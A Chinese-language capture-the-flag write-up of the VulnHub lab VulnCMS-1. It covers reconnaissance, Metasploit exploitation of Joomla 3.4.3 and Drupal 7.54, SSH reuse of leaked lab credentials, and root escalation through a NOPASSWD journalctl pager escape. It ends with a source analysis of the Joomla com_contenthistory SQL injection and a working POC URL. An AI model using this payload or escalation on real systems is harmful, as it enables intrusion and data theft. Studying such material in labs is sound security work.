VulnCMS-1复现
环境搭建
搭建靶场环境我选择的是使用Vmware + VirtualBox,Vmware运行kali攻击机,VirtualBox运行Vulnhub靶机的方案,整体拓扑为:
宿主机(Windows) : 192.168.56.1
├─ VMware Workstation → Kali Linux(主力攻击机):192.168.56.101
└─ Oracle VirtualBox → VulnHub靶机: 192.168.56.102
具体配置:
Vmware


如图,将VMnet0桥接至VirtualBox的虚拟网卡上
VirtualBox
VirtualBox 主界面,选中靶机,点击“设置”。
选择“网络” -> “网卡 1”。
连接方式选择:仅主机 (Host-Only) 网络。
验证:
在kali中使用ifconfig:

可以看到Kali 已经成功拿到了 192.168.56.101 这个地址。说明 VMware 已经成功“挂载”到了 VirtualBox 的虚拟网卡上。
漏洞复现
本次的靶机选取的是vulnhub中的VulnCMS-1
渗透测试本质是信息搜集,所以我们先做下c段嗅探,使用nmap来扫描192.168.56.0/24 段内存活的主机地址:

可以看到,1是网关地址,100是DHCP服务器,101是我们的kali攻击机,则102即为我们的靶机地址,继续使用nmap扫下端口,看看靶机上都跑了哪些服务

可以看到这里开放了22,80,5000,8081和9001端口,22端口是ssh,80端口是http服务
先探测一下web服务,这里我们使用gobuster, Gobuster 是一款用 Go 编写的高效目录、文件、DNS 子域及虚拟主机枚举工具,常用于渗透测试和信息收集。
我们来枚举一下目录:

访问一下http://192.168.56.102/vulnerable/

是几张图片
访问robots.txt:

/about.html:

似乎没什么有用的信息
访问一下其它端口

5000端口上跑了一个WordPress
访问helloworld的时候发现跳转到了http://fsociety.web:5000/hello-world/

继续探测WordPress服务的web目录

可以发现有wp-login.php和rss

在rss里发现了版本信息: WordPress/5.7.2,但很遗憾这个版本似乎没有什么可利用的CVE
wp-admin.php也没有弱密码
先换个端口探测

看到8081端口有README.txt

所以8081上跑了一个Joomla ,Joomla是一个开源的内容管理系统(cms),联想到这个靶机的名字是VulnCMS,应该是在这里做文章
使用joomscan进行扫描:

可以看到这里跑的Joomla版本是3.4.3,第一个就是SQL注入漏洞
可以用msf利用,具体漏洞分析会写在最后


直接读取到了数据库信息,可以看到这里有一个和其他的都不一样的邮箱
继续探测9001端口

可以看到依旧有README.txt ,

9001端口跑的是Drupal,Drupal 是一个使用 PHP 语言编写的开源内容管理框架(CMF)

可以在/CHANGELOG.txt中看到这里的版本是7.54
同样使用msf看看有没有直接可利用的exp


拿到shell
可以发现现在是低权限用户,先看一眼文件

// configuration.php
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br /> Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'fsociety';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';
public $dbprefix = 'hs23w_';
public $live_site = '';
public $secret = 'E2WM78yuyqAzib9N';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy/index.php?option=com_help&keyref=Help{major}{minor}:{keyref}';
public $ftp_host = '';
public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'Fluntence54@armyspy.com';
public $fromname = 'fsociety';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $log_path = '/var/www/html/joomla/logs';
public $tmp_path = '/var/www/html/joomla/tmp';
public $lifetime = '15';
public $session_handler = 'database';
}
由于是低权限用户,没法到根目录下去,联想到在Joomla数据库中有一个账户elliot,和可疑的邮箱,用这个登一下22端口的ssh试一试

成功登录,拿到第一个flag

可以看到这里依旧是低权限用户,先用find一下SUID
find / -perm -4000 -type f

顺手看一眼有哪些用户

看到除了我们登录上去的elliot之外还有一个用户tyrell,先从这里找突破口
在一堆Permission denied中我们找到了:


看一眼这几个文件

拿到了账户密码
登录到tyrell账户,依旧是低权限
查看下当前账户是否存在可以使用的特权命令或文件:sudo -l,发现存在/bin/journalctl命令。

journalctl可以用 ! /bin/sh的方式提权

这里的原理是,因为这里journalctl是NOPASSWD的,所以我们用sudo运行journalctl时,不用输入root密码,同时它的所有组件(包括分页器)都会运行在root权限下,而journalctl是 Linux 用来查看系统日志的工具。为了方便用户翻阅超长的日志,它默认会调用一个分页器通常是 less。因为 less 是被 root 身份的 journalctl 调用的,所以在 less 里执行的任何命令也都是 root 权限,而less可以用!/bin/sh的方式提权,从而我们拿到了root权限。
拿到了第二个flag
综上来看,这里利用的主要漏洞是Joomla的SQL注入和信息泄露
所以我们最后来分析一下造成joomla 3.4.3 SQL注入的原因
漏洞分析
最开始我们的payload会到administrator/components/com_contenthistory/models/history.php下的getListQuery()函数:
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
// Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn);
return $query;
}
输入会给到getState函数,进去看看,在libraries/legacy/model/legacy.php中
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
可以看到,这里会判断model状态是否被设置,如果没有会调用populateState()函数来设置,去看看实现
// administrator/components/com_contenthistory/models/history.php
protected function populateState($ordering = null, $direction = null)
{
$input = JFactory::getApplication()->input;
$itemId = $input->get('item_id', 0, 'integer');
$typeId = $input->get('type_id', 0, 'integer');
$typeAlias = $input->get('type_alias', '', 'string');
$this->setState('item_id', $itemId);
$this->setState('type_id', $typeId);
$this->setState('type_alias', $typeAlias);
$this->setState('sha1_hash', $this->getSha1Hash());
// Load the parameters.
$params = JComponentHelper::getParams('com_contenthistory');
$this->setState('params', $params);
// List state information.
parent::populateState('h.save_date', 'DESC');
}
可以看到,这里获取了item_id等,强制转型成integer然后用setState函数来赋值,即从用户输入中取出item_id,type_id,type_alias,等几个变量,对当前model的属性进行赋值,由于可以控制的参数都被强制转成整形,所以只能看看其他地方,可以看到最后继承了populateState,去看看父类是怎么实现的
// libraries/legacy/model/list.php
protected function populateState($ordering = null, $direction = null)
{
// If the context is set, assume that stateful lists are used.
if ($this->context)
{
$app = JFactory::getApplication();
// Receive & set filters
if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
{
foreach ($filters as $name => $value)
{
$this->setState('filter.' . $name, $value);
}
}
$limit = 0;
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
case 'ordering':
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
}
break;
case 'direction':
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
}
break;
case 'limit':
$limit = $value;
break;
// Just to keep the default case
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
else
// Keep B/C for components previous to jform forms for filters
{
// Pre-fill the limits
$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
$this->setState('list.limit', $limit);
// Check if the ordering field is in the white list, otherwise use the incoming value.
$value = $app->getUserStateFromRequest($this->context . '.ordercol', 'filter_order', $ordering);
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
$app->setUserState($this->context . '.ordercol', $value);
}
$this->setState('list.ordering', $value);
// Check if the ordering direction is valid, otherwise use the incoming value.
$value = $app->getUserStateFromRequest($this->context . '.orderdirn', 'filter_order_Dir', $direction);
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
$app->setUserState($this->context . '.orderdirn', $value);
}
$this->setState('list.direction', $value);
}
// Support old ordering field
$oldOrdering = $app->input->get('filter_order');
if (!empty($oldOrdering) && in_array($oldOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $oldOrdering);
}
// Support old direction field
$oldDirection = $app->input->get('filter_order_Dir');
if (!empty($oldDirection) && in_array(strtoupper($oldDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $oldDirection);
}
$value = $app->getUserStateFromRequest($this->context . '.limitstart', 'limitstart', 0);
$limitstart = ($limit != 0 ? (floor($value / $limit) * $limit) : 0);
$this->setState('list.start', $limitstart);
}
else
{
$this->setState('list.start', 0);
$this->setState('list.limit', 0);
}
}
在这一部分代码中:
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
case 'ordering':
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
}
break;
case 'direction':
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
}
break;
case 'limit':
$limit = $value;
break;
// Just to keep the default case
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
这里会从http请求中获取名为list的数组,可以看到最开始我们的参数’list.select’没有对应的处理逻辑,就会走default即不做任何处理,这导致了后续子类的populateState在对model的属性进行赋值的时候没有任何的过滤。所以我们可以控制$this->getState(‘list.select’)的返回值,构造SQL注入。
POC:
/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))
多一个list[ordering]=是为了把原SQL中的order by字段值清空,否则会报Unknown column ‘Array’的错。